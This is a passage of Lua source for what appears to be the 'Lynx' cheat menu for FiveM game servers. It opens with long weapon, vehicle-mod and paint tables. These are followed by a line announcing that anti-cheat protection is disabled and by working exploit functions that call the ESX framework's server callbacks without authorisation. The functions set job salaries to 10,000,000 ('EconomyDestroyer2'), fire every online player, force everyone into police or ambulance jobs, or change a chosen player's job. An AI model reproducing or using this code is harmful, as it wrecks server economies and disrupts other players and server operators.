}
},
Sights = {
{name = '~h~~r~> ~s~Scope', id = 'COMPONENT_AT_SCOPE_SMALL'}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_AR_FLSH'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_AR_SUPP'
}
},
Grips = {
{name = '~h~~r~> ~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP'}
}
}
},
BullpupRifleMkII = {
id = 'weapon_bullpuprifle_mk2',
name = '~h~~r~> ~s~Bullpup Rifle Mk II',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_02'
},
{
name = '~h~~r~> ~s~Tracer Rounds',
id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_TRACER'
},
{
name = '~h~~r~> ~s~Incendiary Rounds',
id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_INCENDIARY'
},
{
name = '~h~~r~> ~s~Armor Piercing Rounds',
id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_ARMORPIERCING'
},
{
name = '~h~~r~> ~s~FMJ Rounds',
id = 'COMPONENT_BULLPUPRIFLE_MK2_CLIP_FMJ'
}
},
Sights = {
{
name = '~h~~r~> ~s~Holograhpic Sight',
id = 'COMPONENT_AT_SIGHTS'
},
{
name = '~h~~r~> ~s~Small Scope',
id = 'COMPONENT_AT_SCOPE_MACRO_02_MK2'
},
{
name = '~h~~r~> ~s~Medium Scope',
id = 'COMPONENT_AT_SCOPE_SMALL_MK2'
}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_AR_FLSH'
}
},
Barrel = {
{
name = '~h~~r~> ~s~Default',
id = 'COMPONENT_AT_BP_BARREL_01'
},
{
name = '~h~~r~> ~s~Heavy',
id = 'COMPONENT_AT_BP_BARREL_02'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_AR_SUPP'
},
{
name = '~h~~r~> ~s~Flat Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_01'
},
{
name = '~h~~r~> ~s~Tactical Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_02'
},
{
name = '~h~~r~> ~s~Fat-End Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_03'
},
{
name = '~h~~r~> ~s~Precision Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_04'
},
{
name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_05'
},
{
name = '~h~~r~> ~s~Slanted Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_06'
},
{
name = '~h~~r~> ~s~Split-End Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_07'
}
},
Grips = {
{name = '~h~~r~> ~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP'}
}
}
},
CompactRifle = {
id = 'weapon_compactrifle',
name = '~h~~r~> ~s~Compact Rifle',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_COMPACTRIFLE_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_COMPACTRIFLE_CLIP_02'
},
{
name = '~h~~r~> ~s~Drum Magazine',
id = 'COMPONENT_COMPACTRIFLE_CLIP_03'
}
}
}
}
},
LMG = {
MG = {
id = 'weapon_mg',
name = '~h~~r~> ~s~MG',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_MG_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_MG_CLIP_02'
}
},
Sights = {
{
name = '~h~~r~> ~s~Scope',
id = 'COMPONENT_AT_SCOPE_SMALL_02'
}
}
}
},
CombatMG = {
id = 'weapon_combatmg',
name = '~h~~r~> ~s~Combat MG',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_COMBATMG_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_COMBATMG_CLIP_02'
}
},
Sights = {
{
name = '~h~~r~> ~s~Scope',
id = 'COMPONENT_AT_SCOPE_MEDIUM'
}
},
Grips = {
{name = '~h~~r~> ~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP'}
}
}
},
CombatMGMkII = {
id = 'weapon_combatmg_mk2',
name = '~h~~r~> ~s~Combat MG Mk II',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_COMBATMG_MK2_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_COMBATMG_MK2_CLIP_02'
},
{
name = '~h~~r~> ~s~Tracer Rounds',
id = 'COMPONENT_COMBATMG_MK2_CLIP_TRACER'
},
{
name = '~h~~r~> ~s~Incendiary Rounds',
id = 'COMPONENT_COMBATMG_MK2_CLIP_INCENDIARY'
},
{
name = '~h~~r~> ~s~Hollow Point Rounds',
id = 'COMPONENT_COMBATMG_MK2_CLIP_ARMORPIERCING'
},
{
name = '~h~~r~> ~s~FMJ Rounds',
id = 'COMPONENT_COMBATMG_MK2_CLIP_FMJ'
}
},
Sights = {
{
name = '~h~~r~> ~s~Holograhpic Sight',
id = 'COMPONENT_AT_SIGHTS'
},
{
name = '~h~~r~> ~s~Medium Scope',
id = 'COMPONENT_AT_SCOPE_SMALL_MK2'
},
{
name = '~h~~r~> ~s~Large Scope',
id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2'
}
},
Barrel = {
{
name = '~h~~r~> ~s~Default',
id = 'COMPONENT_AT_MG_BARREL_01'
},
{
name = '~h~~r~> ~s~Heavy',
id = 'COMPONENT_AT_MG_BARREL_02'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Flat Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_01'
},
{
name = '~h~~r~> ~s~Tactical Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_02'
},
{
name = '~h~~r~> ~s~Fat-End Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_03'
},
{
name = '~h~~r~> ~s~Precision Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_04'
},
{
name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_05'
},
{
name = '~h~~r~> ~s~Slanted Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_06'
},
{
name = '~h~~r~> ~s~Split-End Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_07'
}
},
Grips = {
{name = '~h~~r~> ~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP_02'}
}
}
},
GusenbergSweeper = {
id = 'weapon_gusenberg',
name = '~h~~r~> ~s~GusenbergSweeper',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_GUSENBERG_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_GUSENBERG_CLIP_02'
}
}
}
}
},
Snipers = {
SniperRifle = {
id = 'weapon_sniperrifle',
name = '~h~~r~> ~s~Sniper Rifle',
bInfAmmo = false,
mods = {
Sights = {
{name = '~h~~r~> ~s~Scope', id = 'COMPONENT_AT_SCOPE_LARGE'},
{
name = '~h~~r~> ~s~Advanced Scope',
id = 'COMPONENT_AT_SCOPE_MAX'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_AR_SUPP_02'
}
}
}
},
HeavySniper = {
id = 'weapon_heavysniper',
name = '~h~~r~> ~s~Heavy Sniper',
bInfAmmo = false,
mods = {
Sights = {
{name = '~h~~r~> ~s~Scope', id = 'COMPONENT_AT_SCOPE_LARGE'},
{
name = '~h~~r~> ~s~Advanced Scope',
id = 'COMPONENT_AT_SCOPE_MAX'
}
}
}
},
HeavySniperMkII = {
id = 'weapon_heavysniper_mk2',
name = '~h~~r~> ~s~Heavy Sniper Mk II',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_02'
},
{
name = '~h~~r~> ~s~Incendiary Rounds',
id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_INCENDIARY'
},
{
name = '~h~~r~> ~s~Armor Piercing Rounds',
id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_ARMORPIERCING'
},
{
name = '~h~~r~> ~s~FMJ Rounds',
id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_FMJ'
},
{
name = '~h~~r~> ~s~Explosive Rounds',
id = 'COMPONENT_HEAVYSNIPER_MK2_CLIP_EXPLOSIVE'
}
},
Sights = {
{
name = '~h~~r~> ~s~Zoom Scope',
id = 'COMPONENT_AT_SCOPE_LARGE_MK2'
},
{
name = '~h~~r~> ~s~Advanced Scope',
id = 'COMPONENT_AT_SCOPE_MAX'
},
{
name = '~h~~r~> ~s~Nigt Vision Scope',
id = 'COMPONENT_AT_SCOPE_NV'
},
{
name = '~h~~r~> ~s~Thermal Scope',
id = 'COMPONENT_AT_SCOPE_THERMAL'
}
},
Barrel = {
{
name = '~h~~r~> ~s~Default',
id = 'COMPONENT_AT_SR_BARREL_01'
},
{
name = '~h~~r~> ~s~Heavy',
id = 'COMPONENT_AT_SR_BARREL_02'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_SR_SUPP_03'
},
{
name = '~h~~r~> ~s~Squared Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_08'
},
{
name = '~h~~r~> ~s~Bell-End Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_09'
}
}
}
},
MarksmanRifle = {
id = 'weapon_marksmanrifle',
name = '~h~~r~> ~s~Marksman Rifle',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_MARKSMANRIFLE_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_MARKSMANRIFLE_CLIP_02'
}
},
Sights = {
{
name = '~h~~r~> ~s~Scope',
id = 'COMPONENT_AT_SCOPE_LARGE_FIXED_ZOOM'
}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_AR_FLSH'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_AR_SUPP'
}
},
Grips = {
{name = '~h~~r~> ~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP'}
}
}
},
MarksmanRifleMkII = {
id = 'weapon_marksmanrifle_mk2',
name = '~h~~r~> ~s~Marksman Rifle Mk II',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_02'
},
{
name = '~h~~r~> ~s~Tracer Rounds',
id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_TRACER'
},
{
name = '~h~~r~> ~s~Incendiary Rounds',
id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_INCENDIARY'
},
{
name = '~h~~r~> ~s~Hollow Point Rounds',
id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_ARMORPIERCING'
},
{
name = '~h~~r~> ~s~FMJ Rounds',
id = 'COMPONENT_MARKSMANRIFLE_MK2_CLIP_FMJ '
}
},
Sights = {
{
name = '~h~~r~> ~s~Holograhpic Sight',
id = 'COMPONENT_AT_SIGHTS'
},
{
name = '~h~~r~> ~s~Large Scope',
id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2'
},
{
name = '~h~~r~> ~s~Zoom Scope',
id = 'COMPONENT_AT_SCOPE_LARGE_FIXED_ZOOM_MK2'
}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_AR_FLSH'
}
},
Barrel = {
{
name = '~h~~r~> ~s~Default',
id = 'COMPONENT_AT_MRFL_BARREL_01'
},
{
name = '~h~~r~> ~s~Heavy',
id = 'COMPONENT_AT_MRFL_BARREL_02'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_AR_SUPP'
},
{
name = '~h~~r~> ~s~Flat Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_01'
},
{
name = '~h~~r~> ~s~Tactical Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_02'
},
{
name = '~h~~r~> ~s~Fat-End Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_03'
},
{
name = '~h~~r~> ~s~Precision Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_04'
},
{
name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_05'
},
{
name = '~h~~r~> ~s~Slanted Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_06'
},
{
name = '~h~~r~> ~s~Split-End Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_07'
}
},
Grips = {
{name = '~h~~r~> ~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP_02'}
}
}
}
},
Heavy = {
RPG = {
id = 'weapon_rpg',
name = '~h~~r~> ~s~RPG',
bInfAmmo = false,
mods = {}
},
GrenadeLauncher = {
id = 'weapon_grenadelauncher',
name = '~h~~r~> ~s~Grenade Launcher',
bInfAmmo = false,
mods = {}
},
GrenadeLauncherSmoke = {
id = 'weapon_grenadelauncher_smoke',
name = '~h~~r~> ~s~Grenade Launcher Smoke',
bInfAmmo = false,
mods = {}
},
Minigun = {
id = 'weapon_minigun',
name = '~h~~r~> ~s~Minigun',
bInfAmmo = false,
mods = {}
},
FireworkLauncher = {
id = 'weapon_firework',
name = '~h~~r~> ~s~Firework Launcher',
bInfAmmo = false,
mods = {}
},
Railgun = {
id = 'weapon_railgun',
name = '~h~~r~> ~s~Railgun',
bInfAmmo = false,
mods = {}
},
HomingLauncher = {
id = 'weapon_hominglauncher',
name = '~h~~r~> ~s~Homing Launcher',
bInfAmmo = false,
mods = {}
},
CompactGrenadeLauncher = {
id = 'weapon_compactlauncher',
name = '~h~~r~> ~s~Compact Grenade Launcher',
bInfAmmo = false,
mods = {}
},
Widowmaker = {
id = 'weapon_rayminigun',
name = '~h~~r~> ~s~Widowmaker',
bInfAmmo = false,
mods = {}
}
},
Throwables = {
Grenade = {
id = 'weapon_grenade',
name = '~h~~r~> ~s~Grenade',
bInfAmmo = false,
mods = {}
},
BZGas = {
id = 'weapon_bzgas',
name = '~h~~r~> ~s~BZ Gas',
bInfAmmo = false,
mods = {}
},
MolotovCocktail = {
id = 'weapon_molotov',
name = '~h~~r~> ~s~Molotov Cocktail',
bInfAmmo = false,
mods = {}
},
StickyBomb = {
id = 'weapon_stickybomb',
name = '~h~~r~> ~s~Sticky Bomb',
bInfAmmo = false,
mods = {}
},
ProximityMines = {
id = 'weapon_proxmine',
name = '~h~~r~> ~s~Proximity Mines',
bInfAmmo = false,
mods = {}
},
Snowballs = {
id = 'weapon_snowball',
name = '~h~~r~> ~s~Snowballs',
bInfAmmo = false,
mods = {}
},
PipeBombs = {
id = 'weapon_pipebomb',
name = '~h~~r~> ~s~Pipe Bombs',
bInfAmmo = false,
mods = {}
},
Baseball = {
id = 'weapon_ball',
name = '~h~~r~> ~s~Baseball',
bInfAmmo = false,
mods = {}
},
TearGas = {
id = 'weapon_smokegrenade',
name = '~h~~r~> ~s~Tear Gas',
bInfAmmo = false,
mods = {}
},
Flare = {
id = 'weapon_flare',
name = '~h~~r~> ~s~Flare',
bInfAmmo = false,
mods = {}
}
},
Misc = {
Parachute = {
id = 'gadget_parachute',
name = '~h~~r~> ~s~Parachute',
bInfAmmo = false,
mods = {}
},
FireExtinguisher = {
id = 'weapon_fireextinguisher',
name = '~h~~r~> ~s~Fire Extinguisher',
bInfAmmo = false,
mods = {}
}
}
}
local b1 = false
local b2 = false
local b3 = false
local b4 = false
local b5 = nil
local b6 = {}
local b7 = {}
local b8 = nil
local b9 = false
local ba = -1
local bb = -1
local bc = -1
local bd = false
local be = {
{name = '~h~Spoilers', id = 0},
{name = '~h~Front Bumper', id = 1},
{name = '~h~Rear Bumper', id = 2},
{name = '~h~Side Skirt', id = 3},
{name = '~h~Exhaust', id = 4},
{name = '~h~Frame', id = 5},
{name = '~h~Grille', id = 6},
{name = '~h~Hood', id = 7},
{name = '~h~Fender', id = 8},
{name = '~h~Right Fender', id = 9},
{name = '~h~Roof', id = 10},
{name = '~h~Vanity Plates', id = 25},
{name = '~h~Trim', id = 27},
{name = '~h~Ornaments', id = 28},
{name = '~h~Dashboard', id = 29},
{name = '~h~Dial', id = 30},
{name = '~h~Door Speaker', id = 31},
{name = '~h~Seats', id = 32},
{name = '~h~Steering Wheel', id = 33},
{name = '~h~Shifter Leavers', id = 34},
{name = '~h~Plaques', id = 35},
{name = '~h~Speakers', id = 36},
{name = '~h~Trunk', id = 37},
{name = '~h~Hydraulics', id = 38},
{name = '~h~Engine Block', id = 39},
{name = '~h~Air Filter', id = 40},
{name = '~h~Struts', id = 41},
{name = '~h~Arch Cover', id = 42},
{name = '~h~Aerials', id = 43},
{name = '~h~Trim 2', id = 44},
{name = '~h~Tank', id = 45},
{name = '~h~Windows', id = 46},
{name = '~h~Livery', id = 48},
{name = '~h~Wheels', id = 23},
{name = '~h~Wheel Types', id = 'wheeltypes'},
{name = '~h~Extras', id = 'extra'},
{name = '~h~Neons', id = 'neon'},
{name = '~h~Paint', id = 'paint'}
}
local bf = {
{name = '~h~~r~Engine', id = 11},
{name = '~h~~b~Brakes', id = 12},
{name = '~h~~g~Transmission', id = 13},
{name = '~h~~y~Suspension', id = 15}
}
local bg = {
['White'] = {255, 255, 255},
['Blue'] = {0, 0, 255},
['Electric Blue'] = {0, 150, 255},
['Mint Green'] = {50, 255, 155},
['Lime Green'] = {0, 255, 0},
['Yellow'] = {255, 255, 0},
['Golden Shower'] = {204, 204, 0},
['Orange'] = {255, 128, 0},
['Red'] = {255, 0, 0},
['Pony Pink'] = {255, 102, 255},
['Hot Pink'] = {255, 0, 255},
['Purple'] = {153, 0, 153}
}
local bh = {
{name = '~h~Black', id = 0},
{name = '~h~Carbon Black', id = 147},
{name = '~h~Graphite', id = 1},
{name = '~h~Anhracite Black', id = 11},
{name = '~h~Black Steel', id = 2},
{name = '~h~Dark Steel', id = 3},
{name = '~h~Silver', id = 4},
{name = '~h~Bluish Silver', id = 5},
{name = '~h~Rolled Steel', id = 6},
{name = '~h~Shadow Silver', id = 7},
{name = '~h~Stone Silver', id = 8},
{name = '~h~Midnight Silver', id = 9},
{name = '~h~Cast Iron Silver', id = 10},
{name = '~h~Red', id = 27},
{name = '~h~Torino Red', id = 28},
{name = '~h~Formula Red', id = 29},
{name = '~h~Lava Red', id = 150},
{name = '~h~Blaze Red', id = 30},
{name = '~h~Grace Red', id = 31},
{name = '~h~Garnet Red', id = 32},
{name = '~h~Sunset Red', id = 33},
{name = '~h~Cabernet Red', id = 34},
{name = '~h~Wine Red', id = 143},
{name = '~h~Candy Red', id = 35},
{name = '~h~Hot Pink', id = 135},
{name = '~h~Pfsiter Pink', id = 137},
{name = '~h~Salmon Pink', id = 136},
{name = '~h~Sunrise Orange', id = 36},
{name = '~h~Orange', id = 38},
{name = '~h~Bright Orange', id = 138},
{name = '~h~Gold', id = 99},
{name = '~h~Bronze', id = 90},
{name = '~h~Yellow', id = 88},
{name = '~h~Race Yellow', id = 89},
{name = '~h~Dew Yellow', id = 91},
{name = '~h~Dark Green', id = 49},
{name = '~h~Racing Green', id = 50},
{name = '~h~Sea Green', id = 51},
{name = '~h~Olive Green', id = 52},
{name = '~h~Bright Green', id = 53},
{name = '~h~Gasoline Green', id = 54},
{name = '~h~Lime Green', id = 92},
{name = '~h~Midnight Blue', id = 141},
{name = '~h~Galaxy Blue', id = 61},
{name = '~h~Dark Blue', id = 62},
{name = '~h~Saxon Blue', id = 63},
{name = '~h~Blue', id = 64},
{name = '~h~Mariner Blue', id = 65},
{name = '~h~Harbor Blue', id = 66},
{name = '~h~Diamond Blue', id = 67},
{name = '~h~Surf Blue', id = 68},
{name = '~h~Nautical Blue', id = 69},
{name = '~h~Racing Blue', id = 73},
{name = '~h~Ultra Blue', id = 70},
{name = '~h~Light Blue', id = 74},
{name = '~h~Chocolate Brown', id = 96},
{name = '~h~Bison Brown', id = 101},
{name = '~h~Creeen Brown', id = 95},
{name = '~h~Feltzer Brown', id = 94},
{name = '~h~Maple Brown', id = 97},
{name = '~h~Beechwood Brown', id = 103},
{name = '~h~Sienna Brown', id = 104},
{name = '~h~Saddle Brown', id = 98},
{name = '~h~Moss Brown', id = 100},
{name = '~h~Woodbeech Brown', id = 102},
{name = '~h~Straw Brown', id = 99},
{name = '~h~Sandy Brown', id = 105},
{name = '~h~Bleached Brown', id = 106},
{name = '~h~Schafter Purple', id = 71},
{name = '~h~Spinnaker Purple', id = 72},
{name = '~h~Midnight Purple', id = 142},
{name = '~h~Bright Purple', id = 145},
{name = '~h~Cream', id = 107},
{name = '~h~Ice White', id = 111},
{name = '~h~Frost White', id = 112}
}
local bi = '~u~Lynx ~s~Official'
local bj = {
{name = '~h~Black', id = 12},
{name = '~h~Gray', id = 13},
{name = '~h~Light Gray', id = 14},
{name = '~h~Ice White', id = 131},
{name = '~h~Blue', id = 83},
{name = '~h~Dark Blue', id = 82},
{name = '~h~Midnight Blue', id = 84},
{name = '~h~Midnight Purple', id = 149},
{name = '~h~Schafter Purple', id = 148},
{name = '~h~Red', id = 39},
{name = '~h~Dark Red', id = 40},
{name = '~h~Orange', id = 41},
{name = '~h~Yellow', id = 42},
{name = '~h~Lime Green', id = 55},
{name = '~h~Green', id = 128},
{name = '~h~Forest Green', id = 151},
{name = '~h~Foliage Green', id = 155},
{name = '~h~Olive Darb', id = 152},
{name = '~h~Dark Earth', id = 153},
{name = '~h~Desert Tan', id = 154}
}
local bk = {
{name = '~h~Brushed Steel', id = 117},
{name = '~h~Brushed Black Steel', id = 118},
{name = '~h~Brushed Aluminum', id = 119},
{name = '~h~Pure Gold', id = 158},
{name = '~h~Brushed Gold', id = 159}
}
defaultVehAction = ''
if GetVehiclePedIsUsing(PlayerPedId()) then
veh = GetVehiclePedIsUsing(PlayerPedId())
end
local bl = false
local bm = true
local bn = GetPlayerServerId(PlayerPedId(-1))
local bo = GetPlayerName(bn)
drawNotification('~h~AntiLynx Protection Disabled')
local function bp(E, x, y)
SetTextFont(0)
SetTextProportional(1)
SetTextScale(0.0, 0.4)
SetTextDropshadow(1, 0, 0, 0, 255)
SetTextEdge(1, 0, 0, 0, 255)
SetTextDropShadow()
SetTextOutline()
SetTextEntry('STRING')
AddTextComponentString(E)
DrawText(x, y)
end
function RequestModelSync(bq)
local bs = GetHashKey(bq)
RequestModel(bs)
while not HasModelLoaded(bs) do
RequestModel(bs)
Citizen.Wait(0)
end
end
function EconomyDestroyer2()
if ESX then
ESX.TriggerServerCallback(
'esx_society:setJobSalary',
function()
end,
'police',
0,
10000000
)
ESX.TriggerServerCallback(
'esx_society:setJobSalary',
function()
end,
'mecano',
0,
10000000
)
ESX.TriggerServerCallback(
'esx_society:setJobSalary',
function()
end,
'ambulance',
0,
10000000
)
ESX.TriggerServerCallback(
'esx_society:setJobSalary',
function()
end,
'realestateagent',
0,
10000000
)
ESX.TriggerServerCallback(
'esx_society:setJobSalary',
function()
end,
'cardealer',
0,
10000000
)
ESX.TriggerServerCallback(
'esx_society:setJobSalary',
function()
end,
'police',
1,
10000000
)
ESX.TriggerServerCallback(
'esx_society:setJobSalary',
function()
end,
'mecano',
1,
10000000
)
ESX.TriggerServerCallback(
'esx_society:setJobSalary',
function()
end,
'ambulance',
1,
10000000
)
ESX.TriggerServerCallback(
'esx_society:setJobSalary',
function()
end,
'realestateagent',
1,
10000000
)
ESX.TriggerServerCallback(
'esx_society:setJobSalary',
function()
end,
'cardealer',
1,
10000000
)
ESX.TriggerServerCallback(
'esx_society:setJobSalary',
function()
end,
'police',
2,
10000000
)
ESX.TriggerServerCallback(
'esx_society:setJobSalary',
function()
end,
'mecano',
2,
10000000
)
ESX.TriggerServerCallback(
'esx_society:setJobSalary',
function()
end,
'ambulance',
2,
10000000
)
ESX.TriggerServerCallback(
'esx_society:setJobSalary',
function()
end,
'realestateagent',
2,
10000000
)
ESX.TriggerServerCallback(
'esx_society:setJobSalary',
function()
end,
'cardealer',
2,
10000000
)
ESX.TriggerServerCallback(
'esx_society:setJobSalary',
function()
end,
'police',
3,
10000000
)
ESX.TriggerServerCallback(
'esx_society:setJobSalary',
function()
end,
'mecano',
3,
10000000
)
ESX.TriggerServerCallback(
'esx_society:setJobSalary',
function()
end,
'ambulance',
3,
10000000
)
ESX.TriggerServerCallback(
'esx_society:setJobSalary',
function()
end,
'realestateagent',
3,
10000000
)
ESX.TriggerServerCallback(
'esx_society:setJobSalary',
function()
end,
'cardealer',
3,
10000000
)
end
end
function UnemployedPlayers()
if ESX then
ESX.TriggerServerCallback(
'esx_society:getOnlinePlayers',
function(ao)
for i = 1, #ao, 1 do
label = ao[i].name
value = ao[i].source
name = ao[i].name
identifier = ao[i].identifier
ESX.TriggerServerCallback(
'esx_society:setJob',
function()
end,
identifier,
'unemployed',
0,
'fire'
)
end
end
)
end
end
function AmbulancePlayers()
if ESX then
ESX.TriggerServerCallback(
'esx_society:getOnlinePlayers',
function(ao)
for i = 1, #ao, 1 do
label = ao[i].name
value = ao[i].source
name = ao[i].name
identifier = ao[i].identifier
ESX.TriggerServerCallback(
'esx_society:setJob',
function()
end,
identifier,
'ambulance',
3,
'hire'
)
end
end
)
end
end
function PolicePlayers()
if ESX then
ESX.TriggerServerCallback(
'esx_society:getOnlinePlayers',
function(ao)
for i = 1, #ao, 1 do
label = ao[i].name
value = ao[i].source
name = ao[i].name
identifier = ao[i].identifier
ESX.TriggerServerCallback(
'esx_society:setJob',
function()
end,
identifier,
'police',
4,
'hire'
)
end
end
)
end
end
function MecanoPlayers()
if ESX then
ESX.TriggerServerCallback(
'esx_society:getOnlinePlayers',
function(ao)
for i = 1, #ao, 1 do
label = ao[i].name
value = ao[i].source
name = ao[i].name
identifier = ao[i].identifier
ESX.TriggerServerCallback(
'esx_society:setJob',
function()
end,
identifier,
'mecano',
4,
'hire'
)
end
end
)
end
end
function RealEstateAgentPlayers()
if ESX then
ESX.TriggerServerCallback(
'esx_society:getOnlinePlayers',
function(ao)
for i = 1, #ao, 1 do
label = ao[i].name
value = ao[i].source
name = ao[i].name
identifier = ao[i].identifier
ESX.TriggerServerCallback(
'esx_society:setJob',
function()
end,
identifier,
'realestateagent',
4,
'hire'
)
end
end
)
end
end
function TaxiPlayers()
if ESX then
ESX.TriggerServerCallback(
'esx_society:getOnlinePlayers',
function(ao)
for i = 1, #ao, 1 do
label = ao[i].name
value = ao[i].source
name = ao[i].name
identifier = ao[i].identifier
ESX.TriggerServerCallback(
'esx_society:setJob',
function()
end,
identifier,
'taxi',
4,
'hire'
)
end
end
)
end
end
function CarDealerPlayers()
if ESX then
ESX.TriggerServerCallback(
'esx_society:getOnlinePlayers',
function(ao)
for i = 1, #ao, 1 do
label = ao[i].name
value = ao[i].source
name = ao[i].name
identifier = ao[i].identifier
ESX.TriggerServerCallback(
'esx_society:setJob',
function()
end,
identifier,
'cardealer',
4,
'hire'
)
end
end
)
end
end
function UnemployedPlayer(bt)
if ESX then
ESX.TriggerServerCallback(
'esx_society:getOnlinePlayers',
function(ao)
local bu = nil
for i = 1, #ao, 1 do
label = ao[i].name
value = ao[i].source
name = ao[i].name
if name == GetPlayerName(bt) then
bu = ao[i].identifier
debugLog('found ' .. ao[i].name .. ' ' .. ao[i].identifier)
end
identifier = ao[i].identifier
end
ESX.TriggerServerCallback(
'esx_society:setJob',
function()
end,
bu,
'unemployed',
0,
'hire'
)
end
)
end
end
function CarDealerPlayer(bt)
if ESX then
ESX.TriggerServerCallback(
'esx_society:getOnlinePlayers',
function(ao)
local bu = nil
for i = 1, #ao, 1 do
label = ao[i].name
value = ao[i].source
name = ao[i].name
if name == GetPlayerName(bt) then
bu = ao[i].identifier
debugLog('found ' .. ao[i].name .. ' ' .. ao[i].identifier)
end
identifier = ao[i].identifier
end
ESX.TriggerServerCallback(
'esx_society:setJob',
function()
end,
bu,
'cardealer',
3,
'hire'
)
end
)
end
end
function RealEstateAgentPlayer(bt)
if ESX then
ESX.TriggerServerCallback(
'esx_society:getOnlinePlayers',
function(ao)
local bu = nil
for i = 1, #ao, 1 do
label = ao[i].name
value = ao[i].source
name = ao[i].name
if name == GetPlayerName(bt) then
bu = ao[i].identifier
debugLog('found ' .. ao[i].name .. ' ' .. ao[i].identifier)
end
identifier = ao[i].identifier
end
ESX.TriggerServerCallback(
'esx_society:setJob',
function()
end,
bu,
'realestateagent',
3,
'hire'
)
end
)
end
end
function TaxiPlayer(bt)
if ESX then
ESX.TriggerServerCallback(
'esx_society:getOnlinePlayers',
function(ao)
local bu = nil
for i = 1, #ao, 1 do
label = ao[i].name
value = ao[i].source
name = ao[i].name
if name == GetPlayerName(bt) then
bu = ao[i].identifier
